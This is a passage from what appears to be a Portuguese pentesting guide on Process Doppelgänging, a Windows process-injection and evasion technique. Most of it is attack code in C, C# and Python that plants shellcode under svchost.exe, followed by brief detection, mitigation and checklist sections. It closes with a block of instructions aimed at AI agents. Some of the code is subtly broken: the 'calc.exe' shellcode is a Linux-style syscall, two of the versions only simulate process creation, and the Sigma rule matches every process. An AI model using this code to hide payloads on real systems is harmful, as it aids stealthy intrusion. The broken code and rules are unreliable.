    if (ctx.hSection) CloseHandle(ctx.hSection);
    if (ctx.hTempFile != INVALID_HANDLE_VALUE) CloseHandle(ctx.hTempFile);
    if (ctx.hTransaction != INVALID_HANDLE_VALUE) CloseHandle(ctx.hTransaction);
    if (ctx.pParams) {
        pRtlDestroyProcessParameters RtlDestroyProcessParameters = 
            (pRtlDestroyProcessParameters)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), 
                                                          "RtlDestroyProcessParameters");
        if (RtlDestroyProcessParameters) {
            RtlDestroyProcessParameters(ctx.pParams);
        }
    }
    
    return success;
}

// Payload de exemplo (calc.exe)
unsigned char payload[] = 
"\x48\x31\xc0\x50\x48\xb8\x63\x61\x6c\x63\x2e\x65\x78\x65\x50\x48"
"\x89\xe2\x48\x31\xc0\x50\x48\x8d\x52\x04\x48\x89\xe1\x48\x31\xc0"
"\xb0\x3b\x0f\x05";

int main(int argc, char** argv) {
    printf("=== Process Doppelgänging ===\n\n");
    
    LPCWSTR targetExe = L"C:\\Windows\\System32\\svchost.exe";
    
    if (ProcessDoppelganging(targetExe, payload, sizeof(payload))) {
        printf("[+] Payload executed as a legitimate process\n");
    } else {
        printf("[-] Process Doppelgänging failed\n");
    }
    
    return 0;
}
```

***

## 🚀 **Implementação em C#/.NET**

```csharp
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Text;

class ProcessDoppelgangingInjector
{
    // Windows API imports
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr CreateTransaction(IntPtr lpTransactionAttributes, IntPtr uow, 
                                           uint createOptions, uint isolationLevel, 
                                           uint isolationFlags, uint timeout, string description);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr CreateFileTransacted(string lpFileName, uint dwDesiredAccess,
                                               uint dwShareMode, IntPtr lpSecurityAttributes,
                                               uint dwCreationDisposition, uint dwFlagsAndAttributes,
                                               IntPtr hTemplateFile, IntPtr hTransaction,
                                               IntPtr pusMiniVersion, IntPtr lpExtendedParameter);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool WriteFile(IntPtr hFile, byte[] lpBuffer, uint nNumberOfBytesToWrite,
                                  out uint lpNumberOfBytesWritten, IntPtr lpOverlapped);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool SetEndOfFile(IntPtr hFile);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr CreateFileMapping(IntPtr hFile, IntPtr lpAttributes,
                                            uint flProtect, uint dwMaximumSizeHigh,
                                            uint dwMaximumSizeLow, string lpName);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr MapViewOfFile(IntPtr hFileMappingObject, uint dwDesiredAccess,
                                        uint dwFileOffsetHigh, uint dwFileOffsetLow,
                                        uint dwNumberOfBytesToMap);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool CloseHandle(IntPtr hObject);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool RollbackTransaction(IntPtr hTransaction);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool GetTempPath(int nBufferLength, StringBuilder lpBuffer);
    
    [DllImport("kernel32.dll", SetLastError = true)]
    static extern int GetTempFileName(string lpPathName, string lpPrefixString, 
                                       uint uUnique, StringBuilder lpTempFileName);
    
    // Constants
    const uint GENERIC_READ = 0x80000000;
    const uint GENERIC_WRITE = 0x40000000;
    const uint FILE_SHARE_READ = 0x00000001;
    const uint FILE_SHARE_WRITE = 0x00000002;
    const uint CREATE_ALWAYS = 2;
    const uint FILE_ATTRIBUTE_NORMAL = 0x80;
    const uint PAGE_READONLY = 0x02;
    const uint FILE_MAP_READ = 0x0004;
    
    // Shellcode (calc.exe)
    static byte[] shellcode = {
        0x48, 0x31, 0xC0, 0x50, 0x48, 0xB8, 0x63, 0x61, 0x6C, 0x63,
        0x2E, 0x65, 0x78, 0x65, 0x50, 0x48, 0x89, 0xE2, 0x48, 0x31,
        0xC0, 0x50, 0x48, 0x8D, 0x52, 0x04, 0x48, 0x89, 0xE1, 0x48,
        0x31, 0xC0, 0xB0, 0x3B, 0x0F, 0x05
    };
    
    static bool ProcessDoppelganging(string targetExe)
    {
        Console.WriteLine($"[*] Process Doppelgänging starting");
        Console.WriteLine($"[*] Target executable: {targetExe}");
        
        // Criar transação
        IntPtr hTransaction = CreateTransaction(IntPtr.Zero, IntPtr.Zero, 0, 0, 0, 0, null);
        if (hTransaction == IntPtr.Zero)
        {
            Console.WriteLine($"[-] CreateTransaction failed: {Marshal.GetLastWin32Error()}");
            return false;
        }
        Console.WriteLine("[+] Transaction created");
        
        // Criar arquivo temporário
        StringBuilder tempPath = new StringBuilder(260);
        GetTempPath(260, tempPath);
        
        StringBuilder tempFile = new StringBuilder(260);
        GetTempFileName(tempPath.ToString(), "tmp", 0, tempFile);
        
        IntPtr hTempFile = CreateFileTransacted(tempFile.ToString(),
            GENERIC_READ | GENERIC_WRITE,
            FILE_SHARE_READ | FILE_SHARE_WRITE,
            IntPtr.Zero,
            CREATE_ALWAYS,
            FILE_ATTRIBUTE_NORMAL,
            IntPtr.Zero,
            hTransaction,
            IntPtr.Zero,
            IntPtr.Zero);
        
        if (hTempFile == IntPtr.Zero)
        {
            Console.WriteLine($"[-] CreateFileTransacted failed: {Marshal.GetLastWin32Error()}");
            CloseHandle(hTransaction);
            return false;
        }
        Console.WriteLine($"[+] Temp file created: {tempFile}");
        
        // Escrever payload
        uint bytesWritten;
        if (!WriteFile(hTempFile, shellcode, (uint)shellcode.Length, out bytesWritten, IntPtr.Zero))
        {
            Console.WriteLine($"[-] WriteFile failed: {Marshal.GetLastWin32Error()}");
            CloseHandle(hTempFile);
            CloseHandle(hTransaction);
            return false;
        }
        
        if (!SetEndOfFile(hTempFile))
        {
            Console.WriteLine($"[-] SetEndOfFile failed: {Marshal.GetLastWin32Error()}");
            CloseHandle(hTempFile);
            CloseHandle(hTransaction);
            return false;
        }
        Console.WriteLine($"[+] Payload written ({bytesWritten} bytes)");
        
        // Criar seção
        IntPtr hSection = CreateFileMapping(hTempFile, IntPtr.Zero, PAGE_READONLY, 0, 0, null);
        CloseHandle(hTempFile);
        
        if (hSection == IntPtr.Zero)
        {
            Console.WriteLine($"[-] CreateFileMapping failed: {Marshal.GetLastWin32Error()}");
            CloseHandle(hTransaction);
            return false;
        }
        Console.WriteLine("[+] Section created");
        
        // Mapear seção
        IntPtr pImageBase = MapViewOfFile(hSection, FILE_MAP_READ, 0, 0, 0);
        if (pImageBase == IntPtr.Zero)
        {
            Console.WriteLine("[-] MapViewOfFile failed");
            CloseHandle(hSection);
            CloseHandle(hTransaction);
            return false;
        }
        
        // Criar processo (simulado - NtCreateProcess não está disponível diretamente em C#)
        Console.WriteLine("[+] Process creation would occur here (requires NtCreateProcess)");
        
        // Rollback
        if (!RollbackTransaction(hTransaction))
        {
            Console.WriteLine($"[-] RollbackTransaction failed: {Marshal.GetLastWin32Error()}");
        }
        else
        {
            Console.WriteLine("[+] Transaction rolled back");
        }
        
        // Limpeza
        CloseHandle(hSection);
        CloseHandle(hTransaction);
        
        Console.WriteLine("[+] Process Doppelgänging simulation complete");
        return true;
    }
    
    static void Main(string[] args)
    {
        string targetExe = args.Length > 0 ? args[0] : @"C:\Windows\System32\svchost.exe";
        ProcessDoppelganging(targetExe);
    }
}
```

***

## 🐍 **Implementação em Python**

```python
#!/usr/bin/env python3
# process_doppelganging.py

import ctypes
import ctypes.wintypes
import sys

# Windows API definitions
kernel32 = ctypes.windll.kernel32
ntdll = ctypes.windll.ntdll

# Constants
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
FILE_SHARE_READ = 0x00000001
FILE_SHARE_WRITE = 0x00000002
CREATE_ALWAYS = 2
FILE_ATTRIBUTE_NORMAL = 0x80
PAGE_READONLY = 0x02
FILE_MAP_READ = 0x0004

# Shellcode (calc.exe)
shellcode = bytearray([
    0x48, 0x31, 0xC0, 0x50, 0x48, 0xB8, 0x63, 0x61, 0x6C, 0x63,
    0x2E, 0x65, 0x78, 0x65, 0x50, 0x48, 0x89, 0xE2, 0x48, 0x31,
    0xC0, 0x50, 0x48, 0x8D, 0x52, 0x04, 0x48, 0x89, 0xE1, 0x48,
    0x31, 0xC0, 0xB0, 0x3B, 0x0F, 0x05
])

def process_doppelganging(target_exe):
    """Executar Process Doppelgänging"""
    print(f"[*] Process Doppelgänging starting")
    print(f"[*] Target executable: {target_exe}")
    
    # 1. Criar transação
    hTransaction = kernel32.CreateTransaction(None, None, 0, 0, 0, 0, None)
    if hTransaction == 0:
        print(f"[-] CreateTransaction failed: {ctypes.get_last_error()}")
        return False
    print("[+] Transaction created")
    
    # 2. Criar arquivo temporário
    temp_path = ctypes.create_unicode_buffer(260)
    kernel32.GetTempPathW(260, temp_path)
    
    temp_file = ctypes.create_unicode_buffer(260)
    kernel32.GetTempFileNameW(temp_path.value, "tmp", 0, temp_file)
    
    hTempFile = kernel32.CreateFileTransactedW(
        temp_file.value,
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        None,
        CREATE_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        None,
        hTransaction,
        None,
        None
    )
    
    if hTempFile == -1:
        print(f"[-] CreateFileTransacted failed: {ctypes.get_last_error()}")
        kernel32.CloseHandle(hTransaction)
        return False
    print(f"[+] Temp file created: {temp_file.value}")
    
    # 3. Escrever payload
    bytes_written = ctypes.c_uint32()
    if not kernel32.WriteFile(hTempFile, shellcode, len(shellcode),
                              ctypes.byref(bytes_written), None):
        print(f"[-] WriteFile failed: {ctypes.get_last_error()}")
        kernel32.CloseHandle(hTempFile)
        kernel32.CloseHandle(hTransaction)
        return False
    
    if not kernel32.SetEndOfFile(hTempFile):
        print(f"[-] SetEndOfFile failed: {ctypes.get_last_error()}")
        kernel32.CloseHandle(hTempFile)
        kernel32.CloseHandle(hTransaction)
        return False
    print(f"[+] Payload written ({bytes_written.value} bytes)")
    
    # 4. Criar seção
    hSection = kernel32.CreateFileMappingW(hTempFile, None, PAGE_READONLY, 0, 0, None)
    kernel32.CloseHandle(hTempFile)
    
    if hSection == 0:
        print(f"[-] CreateFileMapping failed: {ctypes.get_last_error()}")
        kernel32.CloseHandle(hTransaction)
        return False
    print("[+] Section created")
    
    # 5. Mapear seção
    pImageBase = kernel32.MapViewOfFile(hSection, FILE_MAP_READ, 0, 0, 0)
    if pImageBase == 0:
        print("[-] MapViewOfFile failed")
        kernel32.CloseHandle(hSection)
        kernel32.CloseHandle(hTransaction)
        return False
    
    # 6. Criar processo (NtCreateProcess não está disponível diretamente)
    print("[+] Process creation would occur here (requires NtCreateProcess)")
    
    # 7. Rollback
    if not kernel32.RollbackTransaction(hTransaction):
        print(f"[-] RollbackTransaction failed: {ctypes.get_last_error()}")
    else:
        print("[+] Transaction rolled back")
    
    # Limpeza
    kernel32.UnmapViewOfFile(pImageBase)
    kernel32.CloseHandle(hSection)
    kernel32.CloseHandle(hTransaction)
    
    print("[+] Process Doppelgänging simulation complete")
    return True

if __name__ == "__main__":
    target = sys.argv[1] if len(sys.argv) > 1 else "C:\\Windows\\System32\\svchost.exe"
    process_doppelganging(target)
```

***

## 🔍 **Detecção e Monitoramento**

### **Indicadores de Comprometimento (IOCs)**

```yaml
Indicadores de Process Doppelgänging:
  Transações NTFS:
    - Criação de transações (CreateTransaction)
    - Arquivos criados com CreateFileTransacted
    - RollbackTransaction após criação de processo
  
  Processos:
    - Processos criados a partir de seções (NtCreateProcess)
    - Discrepância entre arquivo no disco e imagem mapeada
    - Processos com ImagePath diferente do arquivo executável
  
  APIs Monitoradas:
    - CreateTransaction
    - CreateFileTransacted
    - CreateFileMapping com PAGE_READONLY
    - NtCreateProcess
    - RollbackTransaction
```

### **Regras de Detecção (Sigma)**

```yaml
title: Process Doppelgänging Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detecta criação de processo via transação NTFS
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 1
        ParentImage: '*\*'
        Image: '*\*'
    condition: selection
```

### **Sysmon Configuration**

```xml
<Sysmon>
    <EventFiltering>
        <!-- Monitorar criação de processos -->
        <ProcessCreate onmatch="include">
            <CommandLine condition="contains">svchost.exe</CommandLine>
        </ProcessCreate>
        
        <!-- Monitorar transações NTFS -->
        <FileCreate onmatch="include">
            <TargetFilename condition="contains">\Temp\</TargetFilename>
        </FileCreate>
    </EventFiltering>
</Sysmon>
```

***

## 🛡️ **Mitigação e Prevenção**

### **Proteções do Sistema**

```powershell
# Habilitar Code Integrity Guard
Set-ProcessMitigation -System -Enable CodeIntegrity

# Habilitar Control Flow Guard
Set-ProcessMitigation -System -Enable CFG

# Configurar Windows Defender Application Control
# Criar política que bloqueia criação de processos a partir de transações

# Desabilitar transações NTFS onde não necessário
# (Não é possível desabilitar globalmente, mas pode ser monitorado)
```

### **Hardening de Processos**

```c
// Adicionar proteções ao processo
void ProtectProcess(HANDLE hProcess) {
    PROCESS_MITIGATION_IMAGE_LOAD_POLICY imgLoad = {0};
    imgLoad.PreferSystem32Images = 1;
    SetProcessMitigationPolicy(ProcessImageLoadPolicy, &imgLoad, sizeof(imgLoad));
}
```

### **Configurações de Segurança**

```yaml
Recomendações:
  - Manter Windows atualizado
  - Habilitar Windows Defender
  - Configurar Attack Surface Reduction (ASR) rules
  - Usar Windows Defender Application Control
  - Monitorar criação de processos por transações NTFS
```

***

## 📋 **Checklists de Segurança**

### **Checklist de Prevenção**

* [ ] **Sistema**
  * [ ] Habilitar CFG e Code Integrity
  * [ ] Atualizar Windows regularmente
  * [ ] Configurar WDAC ou AppLocker
* [ ] **Monitoramento**
  * [ ] Monitorar transações NTFS
  * [ ] Alertar sobre NtCreateProcess
  * [ ] Verificar integridade de processos

### **Checklist de Teste**

* [ ] **Reconhecimento**
  * [ ] Verificar suporte a transações NTFS
  * [ ] Identificar alvos potenciais
* [ ] **Execução**
  * [ ] Testar com arquivo temporário
  * [ ] Verificar rollback
* [ ] **Validação**
  * [ ] Confirmar execução do payload
  * [ ] Verificar ausência de artefatos

***

## 📊 **Conclusão e Boas Práticas**

### **Resumo Técnico**

```yaml
Process Doppelgänging:
  ✅ Técnica avançada de evasão
  ✅ Deixa mínimos artefatos no disco
  ✅ Bypassa detecção baseada em arquivos
  ✅ Utiliza mecanismos legítimos do Windows

Defesas essenciais:
  ❌ Monitorar transações NTFS
  ✓ Habilitar WDAC
  ✓ Configurar detecção de processos anômalos
```

### **Recomendações Finais**

1. **Para Pentesters**
   * Verificar suporte a transações NTFS
   * Testar em ambientes controlados
   * Combinar com outras técnicas de evasão
2. **Para Blue Teams**
   * Monitorar transações NTFS suspeitas
   * Configurar regras de detecção
   * Implementar políticas de código dinâmico


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/sistemas-operacionais/windows/injecao-de-processos-process-injection/process-doppelganging.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
